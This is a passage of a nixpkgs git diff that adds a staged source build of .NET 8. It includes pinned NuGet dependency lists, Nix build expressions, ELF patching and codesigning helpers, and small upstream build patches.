"https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/a65e5cb4-26c0-410f-9457-06db3c5254be/nuget/v3/flat2/runtime.osx-arm64.microsoft.netcore.ildasm/8.0.1-servicing.23580.1/runtime.osx-arm64.microsoft.netcore.ildasm.8.0.1-servicing.23580.1.nupkg"; version = "8.0.1-servicing.23580.1"; }) + (fetchNuGet { pname = "runtime.osx-x64.Microsoft.NETCore.ILAsm"; sha256 = "a8b90caa9ead7defdf8b9570dcb3e0cec146dff892a88fb825fedb7ee0fe620f"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/a65e5cb4-26c0-410f-9457-06db3c5254be/nuget/v3/flat2/runtime.osx-x64.microsoft.netcore.ilasm/8.0.1-servicing.23580.1/runtime.osx-x64.microsoft.netcore.ilasm.8.0.1-servicing.23580.1.nupkg"; version = "8.0.1-servicing.23580.1"; }) + (fetchNuGet { pname = "runtime.osx-x64.Microsoft.NETCore.ILDAsm"; sha256 = "eade428d642bdbb2271610c5d781a61ab367dbd3e776477a7b5948bda62252b5"; url = "https://pkgs.dev.azure.com/dnceng/9ee6d478-d288-47f7-aacc-f6e6d082ae6d/_packaging/a65e5cb4-26c0-410f-9457-06db3c5254be/nuget/v3/flat2/runtime.osx-x64.microsoft.netcore.ildasm/8.0.1-servicing.23580.1/runtime.osx-x64.microsoft.netcore.ildasm.8.0.1-servicing.23580.1.nupkg"; version = "8.0.1-servicing.23580.1"; }) +] diff --git a/pkgs/development/compilers/dotnet/8/release-info.json b/pkgs/development/compilers/dotnet/8/release-info.json new file mode 100644 index 0000000000000..2a316ed2de944 --- /dev/null +++ b/pkgs/development/compilers/dotnet/8/release-info.json @@ -0,0 +1,5 @@ +{ + "tarballHash": "sha256-OTCFPhQ9PHnQ0f7UzgHryEsBIaKCOm/L6pkURw/RY2s=", + "artifactsUrl": "https://dotnetcli.azureedge.net/source-built-artifacts/assets/Private.SourceBuilt.Artifacts.8.0.101-servicing.23601.1.centos.8-x64.tar.gz", + "artifactsHash": "sha256-RLrEPFkB9NvnzJFJ0zSFbGNpMKR4EsyBu3T/JwAxgzc=" +} diff --git a/pkgs/development/compilers/dotnet/8/release.json b/pkgs/development/compilers/dotnet/8/release.json new file mode 100644 index 0000000000000..de0aaf95f3ebe --- /dev/null +++ b/pkgs/development/compilers/dotnet/8/release.json @@ -0,0 +1,9 @@ +{ + "release": "8.0.2", + "channel": "8.0", + "tag": "v8.0.2", + "sdkVersion": "8.0.102", + "runtimeVersion": "8.0.2", + "sourceRepository": "https://github.com/dotnet/dotnet", + "sourceVersion": "d396b0c4d3e51c2d8d679b2f7233912bc5bfc2fa" +} diff --git a/pkgs/development/compilers/dotnet/build-dotnet.nix b/pkgs/development/compilers/dotnet/build-dotnet.nix index bcdb16c633508..8ee0bd9e7b3a3 100644 --- a/pkgs/development/compilers/dotnet/build-dotnet.nix +++ b/pkgs/development/compilers/dotnet/build-dotnet.nix @@ -24,6 +24,7 @@ assert if type == "sdk" then packages != null else true; , runCommand , writeShellScript , mkNugetDeps +, callPackage }: let @@ -41,13 +42,10 @@ let sdk = ".NET SDK ${version}"; }; - packageDeps = if type == "sdk" then mkNugetDeps { - name = "${pname}-${version}-deps"; - nugetDeps = packages; - } else null; + mkCommon = callPackage ./common.nix {}; in -stdenv.mkDerivation (finalAttrs: rec { +mkCommon type rec { inherit pname version; # Some of these dependencies are `dlopen()`ed. @@ -88,11 +86,6 @@ stdenv.mkDerivation (finalAttrs: rec { runHook postInstall ''; - doInstallCheck = true; - installCheckPhase = '' - $out/bin/dotnet --info - ''; - # Tell autoPatchelf about runtime dependencies. # (postFixup phase is run before autoPatchelfHook.) postFixup = lib.optionalString stdenv.isLinux '' @@ -112,23 +105,15 @@ stdenv.mkDerivation (finalAttrs: rec { $out/packs/Microsoft.NETCore.App.Host.linux-x64/*/runtimes/linux-x64/native/singlefilehost ''; - setupHook = writeText "dotnet-setup-hook" '' - if [ ! -w "$HOME" ]; then - export HOME=$(mktemp -d) # Dotnet expects a writable home directory for its configuration files - fi - - export DOTNET_SKIP_FIRST_TIME_EXPERIENCE=1 # Dont try to expand NuGetFallbackFolder to disk - export DOTNET_NOLOGO=1 # Disables the welcome message - export DOTNET_CLI_TELEMETRY_OPTOUT=1 - export DOTNET_SKIP_WORKLOAD_INTEGRITY_CHECK=1 # Skip integrity check on first run, which fails due to read-only directory - ''; - passthru = { inherit icu; - packages = packageDeps; + } // lib.optionalAttrs (type == "sdk") { + packages = mkNugetDeps { + name = "${pname}-${version}-deps"; + nugetDeps = packages; + }; updateScript = - if type == "sdk" then let majorVersion = with lib; @@ -137,25 +122,7 @@ stdenv.mkDerivation (finalAttrs: rec { writeShellScript "update-dotnet-${majorVersion}" '' pushd pkgs/development/compilers/dotnet exec ${./update.sh} "${majorVersion}" - '' else null; - - tests = { - version = testers.testVersion { - package = finalAttrs.finalPackage; - }; - - smoke-test = runCommand "dotnet-sdk-smoke-test" { - nativeBuildInputs = [ finalAttrs.finalPackage ]; - } '' - HOME=$(pwd)/fake-home - dotnet new console --no-restore - dotnet restore --source "$(mktemp -d)" - dotnet build --no-restore - output="$(dotnet run --no-build)" - # yes, older SDKs omit the comma - [[ "$output" =~ Hello,?\ World! ]] && touch "$out" ''; - }; }; meta = with lib; { @@ -166,4 +133,4 @@ stdenv.mkDerivation (finalAttrs: rec { mainProgram = "dotnet"; platforms = attrNames srcs; }; -}) +} diff --git a/pkgs/development/compilers/dotnet/combine-deps.nix b/pkgs/development/compilers/dotnet/combine-deps.nix new file mode 100644 index 0000000000000..a7c4356b34b03 --- /dev/null +++ b/pkgs/development/compilers/dotnet/combine-deps.nix @@ -0,0 +1,40 @@ +{ + list, + baseRid, + otherRids, + pkgs ? import ../../../.. {} +}: +with pkgs.lib; +let + inherit (pkgs) writeText; + + fns = map (file: import file) list; + packages = unique + (concatMap (fn: fn { fetchNuGet = package: package; }) fns); + + changePackageRid = package: rid: + let replace = replaceStrings [".${baseRid}"] [".${rid}"]; + in rec { + pname = replace package.pname; + inherit (package) version; + url = replace package.url; + sha256 = builtins.hashFile "sha256" (builtins.fetchurl url); + }; + + expandPackage = package: + [ package ] ++ + optionals (strings.match ".*\\.${baseRid}(\\..*|$)" package.pname != null) + (map (changePackageRid package) otherRids); + + allPackages = + sortOn (package: [ package.pname package.version package ]) + (concatMap expandPackage packages); + + fetchExpr = package: + " (fetchNuGet ${generators.toPretty { multiline = false; } package})"; + +in writeText "deps.nix" '' + { fetchNuGet }: [ + ${concatMapStringsSep "\n" fetchExpr allPackages} + ] +'' diff --git a/pkgs/development/compilers/dotnet/common.nix b/pkgs/development/compilers/dotnet/common.nix new file mode 100644 index 0000000000000..0d8890e61da2b --- /dev/null +++ b/pkgs/development/compilers/dotnet/common.nix @@ -0,0 +1,63 @@ +# TODO: switch to stdenvNoCC +{ stdenv +, lib +, writeText +, testers +, runCommand +}: type: args: stdenv.mkDerivation (finalAttrs: args // { + doInstallCheck = true; + + # TODO: this should probably be postInstallCheck + # TODO: send output to /dev/null + installCheckPhase = args.installCheckPhase or "" + '' + $out/bin/dotnet --info + ''; + + # TODO: move this to sdk section? + setupHook = writeText "dotnet-setup-hook" ('' + if [ ! -w "$HOME" ]; then + export HOME=$(mktemp -d) # Dotnet expects a writable home directory for its configuration files + fi + + export DOTNET_SKIP_FIRST_TIME_EXPERIENCE=1 # Dont try to expand NuGetFallbackFolder to disk + export DOTNET_NOLOGO=1 # Disables the welcome message + export DOTNET_CLI_TELEMETRY_OPTOUT=1 + export DOTNET_SKIP_WORKLOAD_INTEGRITY_CHECK=1 # Skip integrity check on first run, which fails due to read-only directory + '' + args.setupHook or ""); + +} // lib.optionalAttrs (type == "sdk") { + passthru = { + tests = { + version = testers.testVersion { + package = finalAttrs.finalPackage; + }; + + console = runCommand "dotnet-test-console" { + nativeBuildInputs = [ finalAttrs.finalPackage ]; + } '' + HOME=$(pwd)/fake-home + dotnet new nugetconfig + dotnet nuget disable source nuget + dotnet new console -n test -o . + output="$(dotnet run)" + # yes, older SDKs omit the comma + [[ "$output" =~ Hello,?\ World! ]] && touch "$out" + ''; + + single-file = let build = runCommand "dotnet-test-build-single-file" { + nativeBuildInputs = [ finalAttrs.finalPackage ]; + } '' + HOME=$(pwd)/fake-home + dotnet new nugetconfig + dotnet nuget disable source nuget + dotnet nuget add source ${finalAttrs.finalPackage.packages} + dotnet new console -n test -o . + dotnet publish --use-current-runtime -p:PublishSingleFile=true -o $out + ''; in runCommand "dotnet-test-run-single-file" {} '' + output="$(${build}/test)" + # yes, older SDKs omit the comma + [[ "$output" =~ Hello,?\ World! ]] && touch "$out" + ''; + } // args.passthru.tests or {}; + } // args.passthru or {}; +}) diff --git a/pkgs/development/compilers/dotnet/default.nix b/pkgs/development/compilers/dotnet/default.nix index 814560e49bee2..1960488f840a2 100644 --- a/pkgs/development/compilers/dotnet/default.nix +++ b/pkgs/development/compilers/dotnet/default.nix @@ -5,7 +5,7 @@ dotnetCombined = with dotnetCorePackages; combinePackages [ sdk_6_0 aspnetcore_7 Hashes and urls are retrieved from: https://dotnet.microsoft.com/download/dotnet */ -{ lib, config, callPackage }: +{ lib, config, callPackage, recurseIntoAttrs }: let buildDotnet = attrs: callPackage (import ./build-dotnet.nix attrs) {}; buildAttrs = { @@ -18,6 +18,7 @@ let dotnet_6_0 = import ./versions/6.0.nix buildAttrs; dotnet_7_0 = import ./versions/7.0.nix buildAttrs; dotnet_8_0 = import ./versions/8.0.nix buildAttrs; + dotnet_8_0_102 = import ./versions/8.0.102.nix buildAttrs; runtimeIdentifierMap = { "x86_64-linux" = "linux-x64"; @@ -35,6 +36,8 @@ in inherit systemToDotnetRid; combinePackages = attrs: callPackage (import ./combine-packages.nix attrs) {}; + + dotnet_8 = recurseIntoAttrs (callPackage ./8 { bootstrapSdk = dotnet_8_0_102.sdk_8_0; }); } // lib.optionalAttrs config.allowAliases { # EOL sdk_2_1 = throw "Dotnet SDK 2.1 is EOL, please use 6.0 (LTS) or 7.0 (Current)"; diff --git a/pkgs/development/compilers/dotnet/dotnet.nix b/pkgs/development/compilers/dotnet/dotnet.nix new file mode 100644 index 0000000000000..90541215f9493 --- /dev/null +++ b/pkgs/development/compilers/dotnet/dotnet.nix @@ -0,0 +1,50 @@ +{ callPackage +, lib +, releaseManifestFile +, releaseInfoFile +, allowPrerelease ? false +, depsFile +, bootstrapSdk +, pkgsBuildHost +}: + +let + inherit (lib.importJSON releaseInfoFile) tarballHash artifactsUrl artifactsHash; + + pkgs = callPackage ./stage1.nix { + inherit releaseManifestFile tarballHash depsFile; + bootstrapSdk = + { stdenvNoCC + , dotnetCorePackages + , fetchurl + }: bootstrapSdk.overrideAttrs (old: { + passthru = old.passthru or {} // { + artifacts = stdenvNoCC.mkDerivation rec { + name = lib.nameFromURL artifactsUrl ".tar.gz"; + + src = fetchurl { + url = artifactsUrl; + hash = artifactsHash; + }; + + sourceRoot = "."; + + installPhase = '' + mkdir -p $out + cp -r * $out/ + ln -fs ${old.passthru.packages}/* $out/ + ''; + }; + }; + }); + }; + +in pkgs // { + vmr = pkgs.vmr.overrideAttrs(old: { + passthru = old.passthru // { + updateScript = pkgsBuildHost.callPackage ./update.nix { + inherit releaseManifestFile releaseInfoFile allowPrerelease; + }; + }; + }); +} diff --git a/pkgs/development/compilers/dotnet/fix-aspnetcore-portable-build.patch b/pkgs/development/compilers/dotnet/fix-aspnetcore-portable-build.patch new file mode 100644 index 0000000000000..47c6f997a8117 --- /dev/null +++ b/pkgs/development/compilers/dotnet/fix-aspnetcore-portable-build.patch @@ -0,0 +1,25 @@ +From ebc2540f8d0aba2e5ec2f0d5f5889100475ad93e Mon Sep 17 00:00:00 2001 +From: David McFarland <corngood@gmail.com> +Date: Mon, 1 Jan 2024 12:45:41 -0400 +Subject: [PATCH] fix aspnetcore portable build + +https://github.com/dotnet/installer/pull/15163#issuecomment-1873396096 +--- + repo-projects/aspnetcore.proj | 1 + + 1 file changed, 1 insertion(+) + +diff --git a/repo-projects/aspnetcore.proj b/repo-projects/aspnetcore.proj +index e3f4b1664a..947532add9 100644 +--- a/repo-projects/aspnetcore.proj ++++ b/repo-projects/aspnetcore.proj +@@ -8,6 +8,7 @@ + <OverrideTargetRid Condition="'$(TargetOS)' == 'Windows_NT'">win-$(Platform)</OverrideTargetRid> + <_portableRidOverridden Condition="'$(TargetRid)' != '$(OverrideTargetRid)'">true</_portableRidOverridden> + <_portableRidOverridden Condition="'$(TargetRid)' == '$(OverrideTargetRid)'">false</_portableRidOverridden> ++ <_portableRidOverridden Condition="'$(PortableBuild)' != ''">$(PortableBuild)</_portableRidOverridden> + + <!-- StandardSourceBuildArgs include -publish which is not supported by the aspnetcore build script. --> + <BuildCommandArgs>$(StandardSourceBuildArgs.Replace('--publish', ''))</BuildCommandArgs> +-- +2.40.1 + diff --git a/pkgs/development/compilers/dotnet/fix-tmp-path.patch b/pkgs/development/compilers/dotnet/fix-tmp-path.patch new file mode 100644 index 0000000000000..54d7cf2c81dff --- /dev/null +++ b/pkgs/development/compilers/dotnet/fix-tmp-path.patch @@ -0,0 +1,27 @@ +From e0bd79c04c3647dd5abec5e60c031b1f2762a84c Mon Sep 17 00:00:00 2001 +From: David McFarland <corngood@gmail.com> +Date: Wed, 10 Jan 2024 02:25:46 -0400 +Subject: [PATCH] fix-tmp-path + +--- + build.sh | 4 ++-- + 1 file changed, 2 insertions(+), 2 deletions(-) + +diff --git a/build.sh b/build.sh +index a1224e4369..555a88fc95 100755 +--- a/build.sh ++++ b/build.sh +@@ -211,8 +211,8 @@ elif [ -d "$packagesArchiveDir" ]; then + if [ -f "${packagesPreviouslySourceBuiltDir}}PackageVersions.props" ]; then + packageVersionsPath=${packagesPreviouslySourceBuiltDir}PackageVersions.props + elif [ -f "$sourceBuiltArchive" ]; then +- tar -xzf "$sourceBuiltArchive" -C /tmp PackageVersions.props +- packageVersionsPath=/tmp/PackageVersions.props ++ tar -xzf "$sourceBuiltArchive" PackageVersions.props ++ packageVersionsPath=$PWD/PackageVersions.props + fi + fi + +-- +2.40.1 + diff --git a/pkgs/development/compilers/dotnet/packages.nix b/pkgs/development/compilers/dotnet/packages.nix new file mode 100644 index 0000000000000..c7a8e048121e0 --- /dev/null +++ b/pkgs/development/compilers/dotnet/packages.nix @@ -0,0 +1,99 @@ +{ stdenv +, callPackage +, vmr +}: + +let + mkCommon = callPackage ./common.nix {}; + inherit (vmr) targetRid releaseManifest; + +in { + inherit vmr; + sdk = mkCommon "sdk" rec { + pname = "dotnet-sdk"; + version = releaseManifest.sdkVersion; + + src = vmr; + dontUnpack = true; + + outputs = [ "out" "packages" "artifacts" ]; + + installPhase = '' + runHook preInstall + + cp -r "$src"/dotnet-sdk-${version}-${targetRid} "$out" + chmod +w "$out" + mkdir "$out"/bin + ln -s "$out"/dotnet "$out"/bin/dotnet + + mkdir "$packages" + # this roughly corresponds to the {sdk,aspnetcore}_packages in ../update.sh + cp -r "$src"/Private.SourceBuilt.Artifacts.*.${targetRid}/*Microsoft.{NET.ILLink.Tasks,NETCore,DotNet,AspNetCore}.*.nupkg "$packages" + + cp -r "$src"/Private.SourceBuilt.Artifacts.*.${targetRid} "$artifacts" + + runHook postInstall + ''; + + passthru = { + inherit (vmr) icu targetRid; + }; + + meta = vmr.meta // { + mainProgram = "dotnet"; + }; + }; + + runtime = mkCommon "runtime" rec { + pname = "dotnet-runtime"; + version = releaseManifest.runtimeVersion; + + src = vmr; + dontUnpack = true; + + outputs = [ "out" ]; + + installPhase = '' + runHook preInstall + + cp -r "$src/dotnet-runtime-${version}-${targetRid}" "$out" + chmod +w "$out" + mkdir "$out"/bin + ln -s "$out"/dotnet "$out"/bin/dotnet + + runHook postInstall + ''; + + meta = vmr.meta // { + mainProgram = "dotnet"; + }; + }; + + aspnetcore = mkCommon "aspnetcore" rec { + pname = "dotnet-aspnetcore-runtime"; + version = releaseManifest.aspnetcoreRuntimeVersion or releaseManifest.runtimeVersion; + + src = vmr; + dontUnpack = true; + + outputs = [ "out" ]; + + installPhase = '' + runHook preInstall + + cp -r "$src/dotnet-runtime-${releaseManifest.runtimeVersion}-${targetRid}" "$out" + chmod +w "$out" + mkdir "$out"/bin + ln -s "$out"/dotnet "$out"/bin/dotnet + + chmod +w "$out"/shared + cp -Tr "$src/aspnetcore-runtime-${version}-${targetRid}" "$out" + + runHook postInstall + ''; + + meta = vmr.meta // { + mainProgram = "dotnet"; + }; + }; +} diff --git a/pkgs/development/compilers/dotnet/patch-nupkgs.nix b/pkgs/development/compilers/dotnet/patch-nupkgs.nix new file mode 100644 index 0000000000000..0f1173056f047 --- /dev/null +++ b/pkgs/development/compilers/dotnet/patch-nupkgs.nix @@ -0,0 +1,62 @@ +{ stdenv +, lib +, dotnetCorePackages +, zlib +, curl +, icu +, libunwind +, libuuid +, openssl +, lttng-ust_2_12 +, writeShellScriptBin +}: + +let + buildRid = dotnetCorePackages.systemToDotnetRid stdenv.buildPlatform.system; + + binaryRPath = lib.makeLibraryPath ([ + stdenv.cc.cc + zlib + curl + icu + libunwind + libuuid + openssl + ] ++ lib.optional stdenv.isLinux lttng-ust_2_12); + +in writeShellScriptBin "patch-nupkgs" '' + set -euo pipefail + shopt -s nullglob + isELF() { + local fn="$1" + local fd + local magic + exec {fd}< "$fn" + read -r -n 4 -u "$fd" magic + exec {fd}<&- + if [ "$magic" = $'\177ELF' ]; then return 0; else return 1; fi + } + cd "$1" + for x in *.${buildRid}/* *.${buildRid}.*/*; do + [[ -d "$x" ]] && [[ ! -f "$x"/.nix-patched ]] || continue + echo "Patching package $x" + pushd "$x" + for p in $(find -type f); do + if [[ "$p" != *.nix-patched ]] && isELF "$p"; then + tmp="$p".$$.nix-patched + # if this fails to copy then another process must have patched it + cp --reflink=auto "$p" "$tmp" || continue + echo "Patchelfing $p as $tmp" + patchelf \ + --set-interpreter "${stdenv.cc.bintools.dynamicLinker}" \ + "$tmp" ||: + patchelf \ + --set-rpath "${binaryRPath}" \ + "$tmp" ||: + mv "$tmp" "$p" + fi + done + touch .nix-patched + popd + done +'' diff --git a/pkgs/development/compilers/dotnet/patch-restored-packages.proj b/pkgs/development/compilers/dotnet/patch-restored-packages.proj new file mode 100644 index 0000000000000..bef12d6308f94 --- /dev/null +++ b/pkgs/development/compilers/dotnet/patch-restored-packages.proj @@ -0,0 +1,8 @@ +<Project> + <Target Name="PatchIlasm" AfterTargets="ResolveIlToolPaths"> + <Exec Command="patch-nupkgs $(NUGET_PACKAGES) 2>&1"/> + </Target> + <Target Name="PatchCrossgen" AfterTargets="Restore;_PrepareForReadyToRunCompilation;PrepareForCrossGen"> + <Exec Command="patch-nupkgs $(NUGET_PACKAGES) 2>&1"/> + </Target> +</Project> diff --git a/pkgs/development/compilers/dotnet/record-downloaded-packages.patch b/pkgs/development/compilers/dotnet/record-downloaded-packages.patch new file mode 100644 index 0000000000000..4c5b45939d763 --- /dev/null +++ b/pkgs/development/compilers/dotnet/record-downloaded-packages.patch @@ -0,0 +1,42 @@ +From a5a4a77dd77ed5c997bec6519adf7b6be3108af2 Mon Sep 17 00:00:00 2001 +From: David McFarland <corngood@gmail.com> +Date: Sun, 31 Dec 2023 01:48:31 -0400 +Subject: [PATCH 2/2] record downloaded packages + +--- + .../buildBootstrapPreviouslySB.csproj | 6 +++++ + repo-projects/Directory.Build.targets | 27 +++++++++++++++++++ + 2 files changed, 33 insertions(+) + +diff --git a/eng/bootstrap/buildBootstrapPreviouslySB.csproj b/eng/bootstrap/buildBootstrapPreviouslySB.csproj +index d85e32ca76..280c9eaf89 100644 +--- a/eng/bootstrap/buildBootstrapPreviouslySB.csproj ++++ b/eng/bootstrap/buildBootstrapPreviouslySB.csproj +@@ -102,6 +102,12 @@ + </ItemGroup> + </Target> + ++ <Target Name="NuGetToNix" AfterTargets="Restore"> ++ <Exec ++ Command="nuget-to-nix $(RestorePackagesPath) >$(ArchiveDir)deps.nix 2>&1" ++ WorkingDirectory="$(MSBuildProjectDirectory)"/> ++ </Target> ++ + <Target Name="BuildBoostrapPreviouslySourceBuilt" + AfterTargets="Restore" + DependsOnTargets="GetPackagesToDownload"> +diff --git a/repo-projects/Directory.Build.targets b/repo-projects/Directory.Build.targets +index 3fa15da862..afd7b87088 100644 +--- a/repo-projects/Directory.Build.targets ++++ b/repo-projects/Directory.Build.targets +@@ -471,6 +497,7 @@ + <ItemGroup> + <LogFilesToCopy Include="$(ProjectDirectory)artifacts/**/*.log" /> + <LogFilesToCopy Include="$(ProjectDirectory)artifacts/**/*.binlog" /> ++ <LogFilesToCopy Include="$(ProjectDirectory)artifacts/**/deps.nix" /> + <ObjFilesToCopy Include="$(ProjectDirectory)artifacts/**/project.assets.json" /> + </ItemGroup> + <MakeDir Directories="$(BuildLogsDir)" Condition="Exists('$(ProjectDirectory)artifacts')"/> +-- +2.40.1 + diff --git a/pkgs/development/compilers/dotnet/record-downloaded-packages.proj b/pkgs/development/compilers/dotnet/record-downloaded-packages.proj new file mode 100644 index 0000000000000..f85da42ec2be8 --- /dev/null +++ b/pkgs/development/compilers/dotnet/record-downloaded-packages.proj @@ -0,0 +1,13 @@ +<Project> + <Target Name="NuGetToNix" + BeforeTargets="CopyInnerBuildRestoredPackages"> + <ItemGroup> + <_NuGetToNixPackageCache Include="$(ProjectDirectory)artifacts/sb/package-cache/"/> + <_NuGetToNixPackageCache Include="$(ProjectDirectory)artifacts/source-build/self/package-cache/"/> + </ItemGroup> + <Exec + Command="nuget-to-nix '@(_NuGetToNixPackageCache)' >'$(ProjectDirectory)deps.nix' 2>'$(ProjectDirectory)deps.out'" + WorkingDirectory="$(ProjectDirectory)" + Condition="Exists('%(Identity)')"/> + </Target> +</Project> diff --git a/pkgs/development/compilers/dotnet/sign-apphost.nix b/pkgs/development/compilers/dotnet/sign-apphost.nix new file mode 100644 index 0000000000000..f804ab79d3321 --- /dev/null +++ b/pkgs/development/compilers/dotnet/sign-apphost.nix @@ -0,0 +1,10 @@ +{ substituteAll +, callPackage +}: +let + sigtool = callPackage ./sigtool.nix {}; + +in substituteAll { + src = ./sign-apphost.proj; + codesign = "${sigtool}/bin/codesign"; +} diff --git a/pkgs/development/compilers/dotnet/sign-apphost.proj b/pkgs/development/compilers/dotnet/sign-apphost.proj new file mode 100644 index 0000000000000..e401739bdd70a --- /dev/null +++ b/pkgs/development/compilers/dotnet/sign-apphost.proj @@ -0,0 +1,11 @@ +<Project> + <Target Name="SignAppHost" AfterTargets="_CreateAppHost" Condition="'$(AppHostIntermediatePath)' != ''"> + <Exec Command='@codesign@ -f -s - "$(AppHostIntermediatePath)" 2>&1'/> + </Target> + <Target Name="UnsignBundle" BeforeTargets="GenerateSingleFileBundle" Condition="'$(PublishedSingleFileName)' != ''"> + <Exec Command='@codesign@ --remove-signature "@(FilesToBundle)" 2>&1' Condition="'%(FilesToBundle.RelativePath)' == '$(PublishedSingleFileName)'"/> + </Target> + <Target Name="SignBundle" AfterTargets="GenerateSingleFileBundle" Condition="'$(PublishedSingleFilePath)' != ''"> + <Exec Command='@codesign@ -f -s - "$(PublishedSingleFilePath)" 2>&1'/> + </Target> +</Project> diff --git a/pkgs/development/compilers/dotnet/sigtool.nix b/pkgs/development/compilers/dotnet/sigtool.nix new file mode 100644 index 0000000000000..658ee578ae983 --- /dev/null +++ b/pkgs/development/compilers/dotnet/sigtool.nix @@ -0,0 +1,27 @@ +{ darwin +, fetchFromGitHub +, makeWrapper +}: +let + cctools = darwin.cctools; + +in darwin.sigtool.overrideAttrs (old: { + # this is a fork of sigtool that supports -v and --remove-signature, which are + # used by the dotnet sdk + src = fetchFromGitHub { + owner = "corngood"; + repo = "sigtool"; + rev = "new-commands"; + sha256 = "sha256-EVM5ZG3sAHrIXuWrnqA9/4pDkJOpWCeBUl5fh0mkK4k="; + }; + + nativeBuildInputs = old.nativeBuildInputs or [] ++ [ + makeWrapper + ]; + + postInstall = old.postInstall or "" + '' + wrapProgram $out/bin/codesign \ + --set-default CODESIGN_ALLOCATE \ + "${cctools}/bin/${cctools.targetPrefix}codesign_allocate" + ''; +}) diff --git a/pkgs/development/compilers/dotnet/stage0.nix b/pkgs/development/compilers/dotnet/stage0.nix new file mode 100644 index 0000000000000..d12d1a6c3d13a --- /dev/null +++ b/pkgs/development/compilers/dotnet/stage0.nix @@ -0,0 +1,126 @@ +{ stdenv +, stdenvNoCC +, callPackage +, lib +, writeShellScript +, pkgsBuildHost +, mkNugetDeps +, nix +, cacert +, nuget-to-nix +, dotnetCorePackages +, xmlstarlet + +, releaseManifestFile +, tarballHash +, depsFile +, bootstrapSdk +}: + +let + mkPackages = callPackage ./packages.nix; + mkVMR = callPackage ./vmr.nix; + + dotnetSdk = pkgsBuildHost.callPackage bootstrapSdk {}; + + patchNupkgs = pkgsBuildHost.callPackage ./patch-nupkgs.nix {}; + + signAppHost = callPackage ./sign-apphost.nix {}; + + deps = mkNugetDeps { + name = "dotnet-vmr-deps"; + sourceFile = depsFile; + }; + + vmr = (mkVMR { + inherit releaseManifestFile tarballHash dotnetSdk; + }).overrideAttrs (old: rec { + prebuiltPackages = mkNugetDeps { + name = "dotnet-vmr-deps"; + sourceFile = depsFile; + }; + + nativeBuildInputs = + old.nativeBuildInputs or [] + ++ [ xmlstarlet ] + ++ lib.optional stdenv.isLinux patchNupkgs; + + postPatch = old.postPatch or "" + lib.optionalString stdenv.isLinux '' + xmlstarlet ed \ + --inplace \ + -s //Project -t elem -n Import \ + -i \$prev -t attr -n Project -v "${./patch-restored-packages.proj}" \ + src/*/Directory.Build.targets + '' + lib.optionalString stdenv.isDarwin '' + xmlstarlet ed \ + --inplace \ + -s //Project -t elem -n Import \ + -i \$prev -t attr -n Project -v "${signAppHost}" \ + src/runtime/Directory.Build.targets + ''; + + postConfigure = old.postConfigure or "" + '' + [[ ! -v prebuiltPackages ]] || ln -sf "$prebuiltPackages"/* prereqs/packages/prebuilt/ + ''; + + passthru = old.passthru or {} // { fetch-deps = + let + inherit (vmr) targetRid updateScript; + otherRids = + lib.remove targetRid ( + map (system: dotnetCorePackages.systemToDotnetRid system) + vmr.meta.platforms); + + pkg = vmr.overrideAttrs (old: { + nativeBuildInputs = old.nativeBuildInputs ++ [ + nix + cacert + (nuget-to-nix.override { dotnet-sdk = dotnetSdk; }) + ]; + postPatch = old.postPatch or "" + '' + xmlstarlet ed \ + --inplace \ + -s //Project -t elem -n Import \ + -i \$prev -t attr -n Project -v "${./record-downloaded-packages.proj}" \ + repo-projects/Directory.Build.targets + # make nuget-client use the standard arcade package-cache dir, which + # is where we scan for dependencies + xmlstarlet ed \ + --inplace \ + -s //Project -t elem -n ItemGroup \ + -s \$prev -t elem -n EnvironmentVariables \ + -i \$prev -t attr -n Include -v 'NUGET_PACKAGES=$(ProjectDirectory)artifacts/sb/package-cache/' \ + repo-projects/nuget-client.proj + ''; + buildFlags = [ "--online" ] ++ old.buildFlags; + prebuiltPackages = null; + }); + + drv = builtins.unsafeDiscardOutputDependency pkg.drvPath; + in + writeShellScript "fetch-dotnet-sdk-deps" '' + ${nix}/bin/nix-shell --pure --run 'source /dev/stdin' "${drv}" << 'EOF' + set -e + + tmp=$(mktemp -d) + trap 'rm -fr "$tmp"' EXIT + + HOME=$tmp/.home + cd "$tmp" + + phases="''${prePhases[*]:-} unpackPhase patchPhase ''${preConfigurePhases[*]:-} \ + configurePhase ''${preBuildPhases[*]:-} buildPhase checkPhase" \ + genericBuild + + depsFiles=(./src/*/deps.nix) + + cat $(nix-build ${toString ./combine-deps.nix} \ + --arg list "[ ''${depsFiles[*]} ]" \ + --argstr baseRid ${targetRid} \ + --arg otherRids '${lib.generators.toPretty { multiline = false; } otherRids}' \ + ) > "${toString prebuiltPackages.sourceFile}" + EOF + ''; + }; + }); +in mkPackages { inherit vmr; } diff --git a/pkgs/development/compilers/dotnet/stage1.nix b/pkgs/development/compilers/dotnet/stage1.nix new file mode 100644 index 0000000000000..4212aaaab0249 --- /dev/null +++ b/pkgs/development/compilers/dotnet/stage1.nix @@ -0,0 +1,27 @@ +{ stdenv +, lib +, callPackage +, pkgsBuildHost + +, releaseManifestFile +, tarballHash +, depsFile +, bootstrapSdk +}@args: + +let + mkPackages = callPackage ./packages.nix; + mkVMR = callPackage ./vmr.nix; + + stage0 = pkgsBuildHost.callPackage ./stage0.nix args; + + vmr = (mkVMR { + inherit releaseManifestFile tarballHash; + dotnetSdk = stage0.sdk; + }).overrideAttrs (old: { + passthru = old.passthru or {} // { + inherit (stage0.vmr) fetch-deps; + }; + }); + +in mkPackages { inherit vmr; } diff --git a/pkgs/development/compilers/dotnet/stop-passing-bare-sdk-arg-to-swiftc.patch b/pkgs/development/compilers/dotnet/stop-passing-bare-sdk-arg-to-swiftc.patch new file mode 100644 index 0000000000000..fa2606c0c6cd9 --- /dev/null +++ b/pkgs/development/compilers/dotnet/stop-passing-bare-sdk-arg-to-swiftc.patch @@ -0,0 +1,31 @@ +From 85a940f3f039704da73ee177c1848cd4b6ed029f Mon Sep 17 00:00:00 2001 +From: David McFarland <corngood@gmail.com> +Date: Tue, 9 Jan 2024 15:10:00 -0400 +Subject: [PATCH] stop passing bare sdk arg to swiftc + +--- + .../CMakeLists.txt | 6 +++++- + 1 file changed, 5 insertions(+), 1 deletion(-) + +diff --git a/src/runtime/src/native/libs/System.Security.Cryptography.Native.Apple/CMakeLists.txt b/src/runtime/src/native/libs/System.Security.Cryptography.Native.Apple/CMakeLists.txt +index b847f5c3cd..cf8344ead0 100644 +--- a/src/runtime/src/native/libs/System.Security.Cryptography.Native.Apple/CMakeLists.txt ++++ 